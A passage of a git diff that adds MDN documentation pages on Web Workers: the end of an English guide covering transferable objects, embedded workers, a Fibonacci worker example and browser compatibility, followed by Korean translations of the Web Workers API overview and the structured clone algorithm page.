+ queryableFunctions[oEvent.data.queryMethod].apply(self, oEvent.data.queryMethodArguments);
+ } else {
+ defaultReply(oEvent.data);
+ }
+};</pre>
+
+<p>It is possible to switch the content of each mainpage -&gt; worker and worker -&gt; mainpage message. And the property names "queryMethod", "queryMethodListeners", "queryMethodArguments" can be anything as long as they are consistent in <code>QueryableWorker</code> and the <code>worker</code>.</p>
+
+<h3 id="Passing_data_by_transferring_ownership_transferable_objects">Passing data by transferring ownership (transferable objects)</h3>
+
+<p>Google Chrome 17+ and Firefox 18+ contain an additional way to pass certain types of objects (transferable objects, that is objects implementing the {{domxref("Transferable")}} interface) to or from a worker with high performance. Transferable objects are transferred from one context to another with a zero-copy operation, which results in a vast performance improvement when sending large data sets. Think of it as pass-by-reference if you're from the C/C++ world. However, unlike pass-by-reference, the 'version' from the calling context is no longer available once transferred. Its ownership is transferred to the new context. For example, when transferring an {{domxref("ArrayBuffer")}} from your main app to a worker script, the original {{domxref("ArrayBuffer")}} is cleared and no longer usable. Its content is (quite literally) transferred to the worker context.</p>
+
+<pre class="brush: js">// Create a 32MB "file" and fill it.
+var uInt8Array = new Uint8Array(1024*1024*32); // 32MB
+for (var i = 0; i &lt; uInt8Array.length; ++i) {
+ uInt8Array[i] = i;
+}
+
+worker.postMessage(uInt8Array.buffer, [uInt8Array.buffer]);</pre>
+
+<div class="note">
+<p><strong>Note</strong>: For more information on transferable objects, performance, and feature-detection for this method, read <a href="http://updates.html5rocks.com/2011/12/Transferable-Objects-Lightning-Fast">Transferable Objects: Lightning Fast!</a> on HTML5 Rocks.</p>
+</div>
+
+<h2 id="Embedded_workers">Embedded workers</h2>
+
+<p>There is not an "official" way to embed the code of a worker within a web page, like {{HTMLElement("script")}} elements do for normal scripts. But a {{HTMLElement("script")}} element that does not have a <code>src</code> attribute and has a <code>type</code> attribute that does not identify an executable MIME type can be considered a data block element that JavaScript could use. "Data blocks" is a more general feature of HTML5 that can carry almost any textual data. So, a worker could be embedded in this way:</p>
+
+<pre class="brush: js">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8" /&gt;
+&lt;title&gt;MDN Example - Embedded worker&lt;/title&gt;
+&lt;script type="text/js-worker"&gt;
+ // This script WON'T be parsed by JS engines because its MIME type is text/js-worker.
+ var myVar = "Hello World!";
+ // Rest of your worker code goes here.
+&lt;/script&gt;
+&lt;script type="text/javascript"&gt;
+ // This script WILL be parsed by JS engines because its MIME type is text/javascript.
+ function pageLog (sMsg) {
+ // Use a fragment: browser will only render/reflow once.
+ var oFragm = document.createDocumentFragment();
+ oFragm.appendChild(document.createTextNode(sMsg));
+ oFragm.appendChild(document.createElement("br"));
+ document.querySelector("#logDisplay").appendChild(oFragm);
+ }
+&lt;/script&gt;
+&lt;script type="text/js-worker"&gt;
+ // This script WON'T be parsed by JS engines because its MIME type is text/js-worker.
+ onmessage = function (oEvent) {
+ postMessage(myVar);
+ };
+ // Rest of your worker code goes here.
+&lt;/script&gt;
+&lt;script type="text/javascript"&gt;
+ // This script WILL be parsed by JS engines because its MIME type is text/javascript.
+
+ // In the past...:
+ // blob builder existed
+ // ...but now we use Blob...:
+ var blob = new Blob(Array.prototype.map.call(document.querySelectorAll("script[type=\"text\/js-worker\"]"), function (oScript) { return oScript.textContent; }),{type: "text/javascript"});
+
+ // Creating a new document.worker property containing all our "text/js-worker" scripts.
+ document.worker = new Worker(window.URL.createObjectURL(blob));
+
+ document.worker.onmessage = function (oEvent) {
+ pageLog("Received: " + oEvent.data);
+ };
+
+ // Start the worker.
+ window.onload = function() { document.worker.postMessage(""); };
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;&lt;div id="logDisplay"&gt;&lt;/div&gt;&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>The embedded worker is now nested into a new custom <code>document.worker</code> property.</p>
+
+<p>It is also worth noting that you can also convert a function into a Blob, then generate an object URL from that blob. For example:</p>
+
+<pre class="brush: js">function fn2workerURL(fn) {
+ var blob = new Blob(['('+fn.toString()+')()'], {type: 'application/javascript'})
+ return URL.createObjectURL(blob)
+}</pre>
+
+<h2 id="Further_examples">Further examples</h2>
+
+<p>This section provides further examples of how to use web workers.</p>
+
+<h3 id="Performing_computations_in_the_background">Performing computations in the background</h3>
+
+<p>Workers are mainly useful for allowing your code to perform processor-intensive calculations without blocking the user interface thread. In this example, a worker is used to calculate Fibonacci numbers.</p>
+
+<h4 id="The_JavaScript_code">The JavaScript code</h4>
+
+<p>The following JavaScript code is stored in the "fibonacci.js" file referenced by the HTML in the next section.</p>
+
+<pre class="brush: js">var results = [];
+
+function resultReceiver(event) {
+ results.push(parseInt(event.data));
+ if (results.length == 2) {
+ postMessage(results[0] + results[1]);
+ }
+}
+
+function errorReceiver(event) {
+ throw event.data;
+}
+
+onmessage = function(event) {
+ var n = parseInt(event.data);
+
+ if (n == 0 || n == 1) {
+ postMessage(n);
+ return;
+ }
+
+ for (var i = 1; i &lt;= 2; i++) {
+ var worker = new Worker("fibonacci.js");
+ worker.onmessage = resultReceiver;
+ worker.onerror = errorReceiver;
+ worker.postMessage(n - i);
+ }
+ };</pre>
+
+<p>The worker sets the property <code>onmessage</code> to a function which will receive messages sent when the worker object's <code>postMessage()</code> is called (note that this differs from defining a global <em>variable</em> of that name, or defining a <em>function</em> with that name. <code>var onmessage</code> and <code>function onmessage</code> will define global properties with those names, but they will not register the function to receive messages sent by the web page that created the worker). This starts the recursion, spawning new copies of itself to handle each iteration of the calculation.</p>
+
+<h4 id="The_HTML_code">The HTML code</h4>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;meta charset="UTF-8" /&gt;
+ &lt;title&gt;Test threads fibonacci&lt;/title&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+
+ &lt;div id="result"&gt;&lt;/div&gt;
+
+ &lt;script language="javascript"&gt;
+
+ var worker = new Worker("fibonacci.js");
+
+ worker.onmessage = function(event) {
+ document.getElementById("result").textContent = event.data;
+ dump("Got: " + event.data + "\n");
+ };
+
+ worker.onerror = function(error) {
+ dump("Worker error: " + error.message + "\n");
+ throw error;
+ };
+
+ worker.postMessage("5");
+
+ &lt;/script&gt;
+ &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>The web page creates a <code>div</code> element with the ID <code>result</code> , which gets used to display the result, then spawns the worker. After spawning the worker, the <code>onmessage</code> handler is configured to display the results by setting the contents of the <code>div</code> element, and the <code>onerror</code> handler is set to <a href="https://developer.mozilla.org/en-US/docs/Debugging_JavaScript#dump.28.29">dump</a> the error message.</p>
+
+<p>Finally, a message is sent to the worker to start it.</p>
+
+<p><a href="https://developer.mozilla.org/samples/workers/fibonacci">Try this example</a>.</p>
+
+<h3 id="Performing_web_IO_in_the_background">Performing web I/O in the background</h3>
+
+<p>You can find an example of this in the article <a href="https://developer.mozilla.org/en-US/docs/Using_workers_in_extensions">Using workers in extensions</a> .</p>
+
+<h3 id="Dividing_tasks_among_multiple_workers">Dividing tasks among multiple workers</h3>
+
+<p>As multi-core computers become increasingly common, it's often useful to divide computationally complex tasks among multiple workers, which may then perform those tasks on multiple-processor cores.</p>
+
+<h2 id="Other_types_of_worker">Other types of worker</h2>
+
+<p>In addition to dedicated and shared web workers, there are other types of worker available:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API">ServiceWorkers</a> essentially act as proxy servers that sit between web applications, and the browser and network (when available). They are intended to (amongst other things) enable the creation of effective offline experiences, intercepting network requests and taking appropriate action based on whether the network is available and updated assets reside on the server. They will also allow access to push notifications and background sync APIs.</li>
+ <li>Chrome Workers are a Firefox-only type of worker that you can use if you are developing add-ons and want to use workers in extensions and have access to <a href="https://developer.mozilla.org/en/js-ctypes">js-ctypes</a> in your worker. See {{domxref("ChromeWorker")}} for more details.</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API#Audio_Workers">Audio Workers</a> provide the ability for direct scripted audio processing to be done in a web worker context.</li>
+</ul>
+
+<h2 id="Functions_and_interfaces_available_in_workers">Functions and interfaces available in workers</h2>
+
+<p>You can use most standard JavaScript features inside a web worker, including:</p>
+
+<ul>
+ <li>{{domxref("Navigator")}}</li>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+ <li>{{jsxref("Global_Objects/Array", "Array")}}, {{jsxref("Global_Objects/Date", "Date")}}, {{jsxref("Global_Objects/Math", "Math")}}, and {{jsxref("Global_Objects/String", "String")}}</li>
+ <li>{{domxref("Window.requestAnimationFrame")}}, {{domxref("WindowTimers.setTimeout")}}, and {{domxref("WindowTimers.setInterval")}}</li>
+</ul>
+
+<p>The main thing you <em>can't</em> do in a Worker is directly affect the parent page. This includes manipulating the DOM and using that page's objects. You have to do it indirectly, by sending a message back to the main script via {{domxref("DedicatedWorkerGlobalScope.postMessage")}}, then actioning the changes from there.</p>
+
+<div class="note">
+<p><strong>Note</strong>: For a complete list of functions available to workers, see <a href="https://developer.mozilla.org/en-US/docs/Web/Reference/Functions_and_classes_available_to_workers">Functions and interfaces available to workers</a>.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#toc-workers')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from {{SpecName("Web Workers")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Workers')}}</td>
+ <td>{{Spec2('Web Workers')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<table>
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>4<sup>[1]</sup></td>
+ <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+ <td>10.0</td>
+ <td>10.6<sup>[1]</sup></td>
+ <td>4<sup>[2]</sup></td>
+ </tr>
+ <tr>
+ <td>Shared workers</td>
+ <td>4<sup>[1]</sup></td>
+ <td>{{CompatGeckoDesktop(29)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>10.6</td>
+ <td>5<br>
+ {{CompatNo}} 6.1<sup>[4]</sup></td>
+ </tr>
+ <tr>
+ <td>Passing data using <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">structured cloning</a></td>
+ <td>13</td>
+ <td>{{CompatGeckoDesktop(8)}}</td>
+ <td>10.0</td>
+ <td>11.5</td>
+ <td>6</td>
+ </tr>
+ <tr>
+ <td>Passing data using <a href="http://www.w3.org/html/wg/drafts/html/master/infrastructure.html#transferable-objects">transferable objects</a></td>
+ <td>17 {{property_prefix("webkit")}}<br>
+ 21</td>
+ <td>{{CompatGeckoDesktop(18)}}</td>
+ <td>{{CompatNo}}</td>
+ <td>15</td>
+ <td>6</td>
+ </tr>
+ <tr>
+ <td>Global {{domxref("window.URL", "URL")}}</td>
+ <td>10<sup>[3]</sup><br>
+ 23</td>
+ <td>{{CompatGeckoDesktop(21)}}</td>
+ <td>11</td>
+ <td>15</td>
+ <td>6<sup>[3]</sup></td>
+ </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>4.4</td>
+ <td>4<sup>[1]</sup></td>
+ <td>3.5</td>
+ <td>1.0.1</td>
+ <td>10.0</td>
+ <td>11.5<sup>[1]</sup></td>
+ <td>5.1<sup>[2]</sup></td>
+ </tr>
+ <tr>
+ <td>Shared workers</td>
+ <td>{{CompatNo}}</td>
+ <td>4<sup>[1]</sup></td>
+ <td>8</td>
+ <td>1.0.1</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>Passing data using <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">structured cloning</a></td>
+ <td>{{CompatNo}}</td>
+ <td>4</td>
+ <td>8</td>
+ <td>1.0.1</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>Passing data using <a href="http://www.w3.org/html/wg/drafts/html/master/infrastructure.html#transferable-objects">transferable objects</a></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>18</td>
+ <td>1.0.1</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>[1] Chrome and Opera give an error "<code>Uncaught SecurityError: Failed to construct 'Worker': Script at 'file:///Path/to/worker.js' cannot be accessed from origin 'null'.</code>" when you try to run a worker locally. It needs to be on a proper domain.</p>
+
+<p>[2] As of Safari 7.1.2, you can call <code>console.log</code> from inside a worker, but it won't print anything to the console. Older versions of Safari don't allow you to call <code>console.log</code> from inside a worker.</p>
+
+<p>[3] This feature is implemented prefixed as <code>webkitURL</code>.</p>
+
+<p>[4] Safari <a href="https://bugs.webkit.org/show_bug.cgi?id=116359">removed SharedWorker support</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker">Worker</a></code> interface</li>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SharedWorker">SharedWorker</a></code> interface</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker/Functions_and_classes_available_to_workers">Functions available to workers</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Advanced concepts and examples</a></li>
+</ul>
diff --git a/files/ko/web/api/web_workers_api/index.html b/files/ko/web/api/web_workers_api/index.html
new file mode 100644
index 0000000000..82f4e11f55
--- /dev/null
+++ b/files/ko/web/api/web_workers_api/index.html
@@ -0,0 +1,92 @@
+---
+title: Web Workers API
+slug: Web/API/Web_Workers_API
+tags:
+ - API
+ - Overview
+ - Reference
+ - Web Workers
+ - 워커
+ - 웹 워커
+translation_of: Web/API/Web_Workers_API
+---
+<div>{{DefaultAPISidebar("Web Workers API")}}</div>
+
+<p><strong>웹 워커</strong>(Web worker)는 스크립트 연산을 웹 어플리케이션의 주 실행 스레드와 분리된 별도의 백그라운드 스레드에서 실행할 수 있는 기술입니다. 웹 워커를 통해 무거운 작업을 분리된 스레드에서 처리하면 주 스레드(보통 UI 스레드)가 멈추거나 느려지지 않고 동작할 수 있습니다.</p>
+
+<h2 id="웹_워커의_개념과_활용법">웹 워커의 개념과 활용법</h2>
+
+<p>워커는 이름을 지정한 JavaScript 파일을 구동하는 객체로서 {{domxref("Worker.Worker", "Worker()")}} 등의 생성자로 생성합니다. 해당 파일은 현재 {{domxref("window")}}와는 다른 전역 맥락에서 동작하는 워커 스레드에서 작동합니다. 이 때, 전역 맥락은 전용 워커(단일 스크립트에서만 사용하는 워커)의 경우 {{domxref("DedicatedWorkerGlobalScope")}} 객체이고, 공유 워커(여러 스크립트에서 공유하는 워커)의 경우 {{domxref("SharedWorkerGlobalScope")}} 객체입니다.</p>
+
+<p>원하는 코드는 뭐든 워커 스레드에서 실행할 수 있으나 몇 가지 예외가 존재합니다. 예를 들어 워커에서 DOM을 직접 조작할 수 없고, {{domxref("window")}}의 일부 메서드와 속성은 사용할 수 없습니다. 그러나 <a href="/ko/docs/Web/API/WebSockets_API">WebSocket</a>과 <a href="/ko/docs/Web/API/IndexedDB_API">IndexedDB</a>를 포함한 많은 수의 항목은 사용 가능합니다. <a class="new" href="/ko/docs/Web/API/Web_Workers_API/Functions_and_classes_available_to_workers" rel="nofollow" title="https://developer.mozilla.org/En/DOM/Worker/Functions_available_to_workers">워커에서 사용할 수 있는 함수와 클래스</a>에서 더 자세히 알아보세요.</p>
+
+<p>워커와 메인 스레드 간의 데이터 교환은 메시지 시스템을 사용합니다. 양측 모두 postMessage() 메서드를 사용해 전송하고, <code>onmessage</code> 이벤트 처리기(메시지는 {{Event("Message")}}의 <code>data</code> 속성에 들어있습니다)를 사용해 수신합니다. 전송하는 데이터는 복사하며 공유하지 않습니다.</p>
+
+<p>워커 역시 새로운 워커를 생성할 수 있습니다. 단, 생성하려는 워커가 부모 페이지와 동일한 {{glossary("origin", "출처")}}에 호스팅 되어있어야 합니다. 추가로, 워커는 {{domxref("XMLHttpRequest")}}를 사용해 네트워크 입출력을 할 수 있지만 <code>responseXML</code>과 <code>channel</code> 특성은 항상 {{jsxref("null")}}을 반환합니다.</p>
+
+<p>전용 워커 외에도 다음과 같은 다른 유형의 워커도 존재합니다.</p>
+
+<ul>
+ <li>공유 워커는 워커와 도메인이 같다면 창, IFrame, 등등 여러 곳에서 작동 중인 다수의 스크립트에서 사용 가능한 워커입니다. 전용 워커보다 복잡한 편으로, 스크립트간 통신은 활성 포트를 통해 이뤄져야 합니다. {{domxref("SharedWorker")}} 문서에서 더 자세히 알아보세요.</li>
+ <li>서비스 워커는 웹 응용 프로그램, 브라우저, 그리고 (사용 가능한 경우) 네트워크 사이의 프록시 서버 역할을 합니다. 서비스 워커의 개발 의도는 여러가지가 있지만, 그 중에서도 효과적인 오프라인 경험을 생성하고, 네트워크 요청을 가로채서 네트워크 사용 가능 여부에 따라 적절한 행동을 취하고, 서버의 자산을 업데이트할 수 있습니다. 또한 푸시 알림과 백그라운드 동기화 API로의 접근도 제공합니다.</li>
+ <li>오디오 워커는 웹 워커 맥락 내에서 스크립트를 통한 직접적인 오디오 처리 능력을 제공합니다.</li>
+</ul>
+
+<h2 id="웹_워커_인터페이스">웹 워커 인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("AbstractWorker")}}</dt>
+ <dd>모든 종류의 워커({{domxref("Worker")}}, {{domxref("SharedWorker")}} 등)에 공통적인 속성과 메서드를 추상화합니다.</dd>
+ <dt>{{domxref("Worker")}}</dt>
+ <dd>실행 중인 워커 스레드를 나타냅니다. 현재 작동 중인 워커로 메시지를 전송할 때 사용할 수 있습니다.</dd>
+ <dt>{{domxref("WorkerLocation")}}</dt>
+ <dd>{{domxref("Worker")}}가 실행하는 스크립트의 절대 위치를 정의합니다.</dd>
+ <dt>{{domxref("SharedWorker")}}</dt>
+ <dd>다수의 창, {{htmlelement("iframe")}}, 혹은 다른 워커 등 {{glossary("Browsing context", "브라우징 맥락")}} 여러 개에서 접근할 수 있는 특정 종류의 워커를 나타냅니다.</dd>
+ <dt>{{domxref("WorkerGlobalScope")}}</dt>
+ <dd>모든 워커의 통용 범위를 나타냅니다. 통용 범위는 일반적인 웹 콘텐츠의 {{domxref("Window")}}와 같은 역할을 합니다. 각각의 워커 유형별로 이 인터페이스를 상속한 후 보다 세부적인 기능을 추가한 인터페이스를 전역 범위 객체로 사용합니다.</dd>
+ <dt>{{domxref("DedicatedWorkerGlobalScope")}}</dt>
+ <dd>{{domxref("WorkerGlobalScope")}}를 상속해서 몇 가지 전용 기능을 추가한 전용 워커의 범위를 나타냅니다.</dd>
+ <dt>{{domxref("SharedWorkerGlobalScope")}}</dt>
+ <dd>{{domxref("WorkerGlobalScope")}}를 상속해서 몇 가지 전용 기능을 추가한 공유 워커의 범위를 나타냅니다.</dd>
+ <dt>{{domxref("WorkerNavigator")}}</dt>
+ <dd>사용자 에이전트(클라이언트)의 신분과 상태를 나타냅니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>워커의 기본 사용법을 보이는 간단한 데모를 준비해놨습니다.</p>
+
+<ul>
+ <li><a href="https://github.com/mdn/simple-web-worker">기본적인 전용 워커 예제</a> (<a href="http://mdn.github.io/simple-web-worker/">실행</a>)</li>
+ <li><a href="https://github.com/mdn/simple-shared-worker">기본적인 공유 워커 예제</a> (<a href="http://mdn.github.io/simple-shared-worker/">실행</a>)</li>
+</ul>
+
+<p><a href="/ko/docs/Web/API/Web_Workers_API/Using_web_workers">웹 워커 사용하기</a>에서 데모의 동작법을 자세히 알아볼 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', '#toc-workers')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Web_Workers_API/Using_web_workers">웹 워커 사용하기</a></li>
+ <li><a href="/ko/docs/Web/API/Worker"><code>Worker</code> 인터페이스</a></li>
+ <li><a href="/ko/docs/Web/API/SharedWorker"><code>SharedWorker</code> 인터페이스</a></li>
+ <li><a href="/ko/docs/Web/API/Service_Worker_API">Service Worker API</a></li>
+ <li><a class="new" href="/ko/docs/Web/API/Web_Workers_API/Functions_and_classes_available_to_workers" rel="nofollow" title="https://developer.mozilla.org/En/DOM/Worker/Functions_available_to_workers">워커에서 사용할 수 있는 함수와 클래스</a></li>
+</ul>
diff --git a/files/ko/web/api/web_workers_api/structured_clone_algorithm/index.html b/files/ko/web/api/web_workers_api/structured_clone_algorithm/index.html
new file mode 100644
index 0000000000..02e4eff883
--- /dev/null
+++ b/files/ko/web/api/web_workers_api/structured_clone_algorithm/index.html
@@ -0,0 +1,153 @@
+---
+title: The structured clone algorithm
+slug: Web/API/Web_Workers_API/Structured_clone_algorithm
+translation_of: Web/API/Web_Workers_API/Structured_clone_algorithm
+---
+<p>The structured clone 알고리즘은 복잡한 자바스크립트 객체의 직렬화을 위해서 <a class="external" href="http://www.w3.org/html/wg/drafts/html/master/infrastructure.html#safe-passing-of-structured-data" title="http://www.w3.org/TR/html5/common-dom-interfaces.html#safe-passing-of-structured-data">HTML5 specification</a>에 의해서 정의된 새로운 알고리즘 입니다. 이것은 순환그래프를 포함하는 객체의 직렬화를 지원하기 때문에 <a href="/en/JSON" title="en/JSON">JSON</a>보다 더 유용합니다. — 객체는 같은 그래프에서 다른객체를 참조하는 객체를 참조할 수 있습니다. 이러한 케이스들에서는 structured clone알고리즘이 아마도 JSON보다 더 효율적일 것입니다.</p>
+
+<p> 알고리즘은 본질적으로 원본 객체의 모든 필드를 거치고 각 필드의 값들을 새로운 객체로 복제합니다. 만약 필드가 객체를 가졌다면 모든 필드와 그 서브필드가 새로운 객체로 복제될 때 까지 재귀적으로 동작합니다.</p>
+
+<h2 id="JSON을_넘는_이득">JSON을 넘는 이득</h2>
+
+<p>JSON을 뛰어넘는 structured clone알고리즘의 여러가지 핵심 이득이 있습니다.</p>
+
+<ul>
+ <li>Structured clones은 <a href="/en/JavaScript/Reference/Global_Objects/RegExp" title="en/JavaScript/Reference/Global Objects/regexp"><code>RegExp</code></a> 객체들도 복사할 수 있습니다..</li>
+ <li>Structured clones은 {{ domxref("Blob") }}, {{ domxref("File") }}와 {{ domxref("FileList") }} 객체들도 복사할 수 있습니다..</li>
+ <li>Structured clones은 {{ domxref("ImageData") }} 객체들도 복사할 수 있습니다. 클론된{{ domxref("CanvasPixelArray") }}크기(dimensions)는 원본과 match될 것이고 같은 픽셀 데이터의 복제를 가집니다.</li>
+ <li>Structured clones은 참조들의 순환 그래프들을 포함한 객체들을 올바르게 복제할 수 있습니다.</li>
+</ul>
+
+<h2 id="structured_clones과_함께_동작하지_않는_것들">structured clones과 함께 동작하지 않는 것들</h2>
+
+<ul>
+ <li><code><a href="/en/JavaScript/Reference/Global_Objects/Error" title="en/JavaScript/Reference/Global Objects/Error">Error</a>와</code> <a href="/en/JavaScript/Reference/Global_Objects/Function" title="en/JavaScript/Reference/Global Objects/Function"><code>Function</code></a> 객체들은 structured clone 알고리즘에 의해서 복제될 수 없습니다; 이것을 시도하면 <code>DATA_CLONE_ERR</code> exception을 던질 것 입니다.</li>
+ <li>DOM node들을 클론하려고 시도하는것도 동일하게 <code>DATA_CLONE_ERR</code> exception을 던질 것 입니다.</li>
+ <li>객체들의 몇몇 파라미터들은 보존되지 않습니다:
+ <ul>
+ <li><code><a href="/en/JavaScript/Reference/Global_Objects/RegExp" title="en/JavaScript/Reference/Global Objects/regexp">RegExp</a>객체들의 liastIndex필드는 보존되지 않습니다.</code></li>
+ <li>Property descriptors, setters, 그리고 getters (이것들과 비슷한 메타데이터같은 기능들)은 복제되지 않습니다. 예를들어서 한 객체가 프로퍼티 디스크립터를 사용하여 읽기전용으로 마크되어져 있다면 이것은 읽기-쓰기가 가능하도록 복제 될 것입니다. 이것이 디폴트 조건이기 때문입니다.</li>
+ <li>프로토타입 체인은 거치지않고 복제되지 않습니다.</li>
+ </ul>
+ </li>
+</ul>
+
+<h2 id="Supported_types">Supported types</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Object type</th>
+ <th scope="col">Notes</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><a href="/en-US/docs/Web/JavaScript/Data_structures#Primitive_values">All primitive types</a></td>
+ <td>하지만 심볼들은 포함하지 않습니다.</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean">Boolean</a> object</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>String object</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a></td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp">RegExp</a></td>
+ <td>lastIndex필드는 보존되지 않습니다.</td>
+ </tr>
+ <tr>
+ <td>{{ domxref("Blob") }}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{ domxref("File") }}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{ domxref("FileList") }}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/API/ArrayBuffer">ArrayBuffer</a></td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/API/ArrayBufferView">ArrayBufferView</a></td>
+ <td>이것은 기본적으로 int32Array나 기타같은 <a href="/en-US/docs/Web/JavaScript/Typed_arrays">typed arrays</a>의 모든것을 의미합니다.</td>
+ </tr>
+ <tr>
+ <td>{{ domxref("ImageData") }}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></td>
+ <td>이것은 그냥 plain객체들을 포함합니다.(e.g. 객체 리터럴)</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map">Map</a></td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set">Set</a></td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="또_다른_방법_깊은_복사(deep_copy‎)">또 다른 방법 : 깊은 복사(deep copy‎)</h2>
+
+<p> 객체의 깊은 복사(deep copy)를 원한다면(모든 프로토타입 체인과 내포된 속성들 까지도), 또다른 접근방식을 사용해야만 합니다. 아래의 예제를 확인하세요.</p>
+
+<pre class="brush: js">function clone(objectToBeCloned) {
+ // Basis.
+ if (!(objectToBeCloned instanceof Object)) {
+ return objectToBeCloned;
+ }
+
+ var objectClone;
+
+ // Filter out special objects.
+ var Constructor = objectToBeCloned.constructor;
+ switch (Constructor) {
+ // Implement other special objects here.
+ case RegExp:
+ objectClone = new Constructor(objectToBeCloned);
+ break;
+ case Date:
+ objectClone = new Constructor(objectToBeCloned.getTime());
+ break;
+ default:
+ objectClone = new Constructor();
+ }
+
+ // Clone each property.
+ for (var prop in objectToBeCloned) {
+ objectClone[prop] = clone(objectToBeCloned[prop]);
+ }
+
+ return objectClone;
+}
+</pre>
+
+<div class="note"><strong>  Note:</strong> 이 알고리즘은 실제로 <a href="/en/JavaScript/Reference/Global_Objects/RegExp" title="RegExp"><code>RegExp</code></a>, <a href="/en/JavaScript/Reference/Global_Objects/Array" title="Array"><code>Array</code></a>, 와 <a href="/en/JavaScript/Reference/Global_Objects/Date" title="Date"><code>Date</code></a>스페셜 객체들을 구현했습니다. 필요에 따라서 다른 특수한 케이스들을 구현할 수 있습니다.</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/html5/infrastructure.html#safe-passing-of-structured-data" title="http://www.w3.org/TR/html5/common-dom-interfaces.html#safe-passing-of-structured-data">HTML5 Specification: Safe passing of structured data</a></li>
+ <li>{{ domxref("window.history") }}</li>
+ <li>{{ domxref("window.postMessage()") }}</li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a></li>
+ <li><a href="/en-US/docs/Components.utils.cloneInto">Components.utils.cloneInto</a></li>
+</ul>
